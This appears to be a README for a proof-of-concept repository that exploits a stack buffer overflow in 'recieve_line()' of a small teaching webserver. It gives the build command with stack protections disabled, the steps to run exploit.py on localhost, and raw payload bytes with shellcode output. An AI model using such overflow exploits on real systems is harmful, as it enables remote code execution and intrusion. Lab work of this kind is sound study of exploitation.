This repository contains the exploit code for webserver program (whose source code can be found here). This exploit takes advantage of the stack overflow vulnerability caused by no bound checking on user input in 'recieve_line()' present in send_recieve.h which causes corruption of connection_handler()'s stack frame leading to arbitrary code execution. The shellcode used can be found in the shellcode directory.
Issue the commands bellow on the terminal (while present in the project directory) to get the directory to the local system-
root@kali:~$ git clone https://github.com/compilepeace/WEBSERVER_EXPLOIT.git
Cloning into 'WEBSERVER_EXPLOIT'...
remote: Enumerating objects: 34, done.
remote: Counting objects: 100% (34/34), done.
remote: Compressing objects: 100% (26/26), done.
remote: Total 34 (delta 11), reused 30 (delta 7), pack-reused 0
Unpacking objects: 100% (34/34), done.
root@kali:~$ cd ./WEBSERVER_EXPLOIT/webserver
root@kali:~WEBSERVER_EXPLOIT/webserver$ make
gcc -fno-stack-protector -z execstack web_server.c -o webserver
To reproduce exploitation on Linux x86 machine. Fire up the terminal and type the following -
root@kali:~WEBSERVER_EXPLOIT/webserver# ./webserver
Listening on Port: 8080
This hangs up listening for connections. Fire up the second terminal and type the following -
root@kali:~WEBSERVER_EXPLOIT# python exploit.py
root@kali:~WEBSERVER_EXPLOIT#
Have a look at the first terminal which shows the execution of our shellcode.
root@kali:~/WEBSERVER_EXPLOIT/webserver# ./webserver
Listening on Port: 8080
Client connected : 127.0.0.1: 40320
Request recieved: ������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������1��É��°�Y�(̀1��ð̀�����
~~~~Owned~~~~by~~~~0xDarkMagician~~~~
����������������������������������������������������������������������������
Bytes recieved : 0
~~~~Owned~~~~by~~~~0xDarkMagician~~~~
You can email me regarding any queries -
NAME : ABHINAV THAKUR
EMAIL: compilepeace@gmail.com